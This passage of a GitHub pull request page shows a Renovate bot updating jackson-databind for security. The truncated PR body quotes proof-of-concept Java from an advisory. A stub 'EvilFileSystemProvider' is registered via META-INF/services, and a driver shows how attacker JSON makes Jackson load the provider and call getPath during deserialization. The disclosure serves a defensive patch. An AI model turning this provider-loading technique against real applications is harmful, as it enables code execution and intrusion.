        System.out.println(">>> [EVIL-PROVIDER] getPath() invoked with attacker URI: " + uri);
        // A malicious/vulnerable provider could here open a socket, read a file, mount a FS, etc.
        return java.nio.file.Path.of(System.getProperty("java.io.tmpdir"), "evilprovider-marker");
    }

    // --- remaining abstract methods: minimal stubs ---
    @Override public FileSystem newFileSystem(URI uri, Map<String,?> env) { throw new UnsupportedOperationException(); }
    @Override public FileSystem getFileSystem(URI uri) { throw new FileSystemNotFoundException(); }
    @Override public SeekableByteChannel newByteChannel(Path p, Set<? extends OpenOption> o, FileAttribute<?>... a) throws IOException { throw new UnsupportedOperationException(); }
    @Override public DirectoryStream<Path> newDirectoryStream(Path d, DirectoryStream.Filter<? super Path> f) { throw new UnsupportedOperationException(); }
    @Override public void createDirectory(Path d, FileAttribute<?>... a) { throw new UnsupportedOperationException(); }
    @Override public void delete(Path p) { throw new UnsupportedOperationException(); }
    @Override public void copy(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }
    @Override public void move(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }
    @Override public boolean isSameFile(Path p, Path p2) { return false; }
    @Override public boolean isHidden(Path p) { return false; }
    @Override public FileStore getFileStore(Path p) { throw new UnsupportedOperationException(); }
    @Override public void checkAccess(Path p, AccessMode... m) { }
    @Override public <V extends FileAttributeView> V getFileAttributeView(Path p, Class<V> t, LinkOption... o) { return null; }
    @Override public <A extends BasicFileAttributes> A readAttributes(Path p, Class<A> t, LinkOption... o) { throw new UnsupportedOperationException(); }
    @Override public Map<String,Object> readAttributes(Path p, String a, LinkOption... o) { throw new UnsupportedOperationException(); }
    @Override public void setAttribute(Path p, String a, Object v, LinkOption... o) { }
}

Registration descriptor —
src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider:

com.poc.EvilFileSystemProvider

Driver — com/poc/Vuln04b_PathProviderMount.java:

package com.poc;

import tools.jackson.databind.ObjectMapper;
import tools.jackson.databind.json.JsonMapper;

/**
 * Vuln 4 (end-to-end terminal effect): a third-party FileSystemProvider registered via
 * META-INF/services (scheme "evilscheme") stands in for any provider on a real app's
 * classpath. Attacker JSON with that scheme drives jackson's ServiceLoader fallback to
 * (1) load the provider class (running its static initializer) and (2) invoke
 * provider.getPath(attackerUri) -- all inside readValue, with NO application code.
 */
public class Vuln04b_PathProviderMount {
    public static class Config { public java.nio.file.Path workdir; }

    public static void main(String[] args) throws Exception {
        System.out.println("Provider static-init ran before deserialization? " + EvilFileSystemP

> ❗ **Important**
> 
> ✂ PR body was truncated to here.

@renovate
renovate Bot force-pushed the renovate/maven-com.fasterxml.jackson.core-jackson-databind-vulnerability branch from f8f7532 to 5edb731 Compare July 17, 2026 10:30
@renovate renovate Bot changed the title fix(deps): update dependency com.fasterxml.jackson.core:jackson-databind to v2.21.4 [security] fix(deps): update dependency com.fasterxml.jackson.core:jackson-databind to v2.21.5 [security] Jul 17, 2026
@renovate
renovate Bot force-pushed the renovate/maven-com.fasterxml.jackson.core-jackson-databind-vulnerability branch from 5edb731 to faf9c3d Compare August 11, 2026 22:40
@renovate
renovate Bot force-pushed the renovate/maven-com.fasterxml.jackson.core-jackson-databind-vulnerability branch from faf9c3d to 906825b Compare August 26, 2026 20:59
@renovate
renovate Bot force-pushed the renovate/maven-com.fasterxml.jackson.core-jackson-databind-vulnerability branch from 906825b to 7c712c7 Compare September 29, 2026 02:36
@renovate renovate Bot changed the title fix(deps): update dependency com.fasterxml.jackson.core:jackson-databind to v2.21.5 [security] fix(deps): update dependency com.fasterxml.jackson.core:jackson-databind to v2.21.6 [security] Sep 29, 2026
@renovate
renovate Bot force-pushed the renovate/maven-com.fasterxml.jackson.core-jackson-databind-vulnerability branch from 7c712c7 to 3cf14b0 Compare October 2, 2026 01:26
@renovate renovate Bot changed the title fix(deps): update dependency com.fasterxml.jackson.core:jackson-databind to v2.21.6 [security] fix(deps): update dependency com.fasterxml.jackson.core:jackson-databind to v2.21.7 [security] Oct 2, 2026
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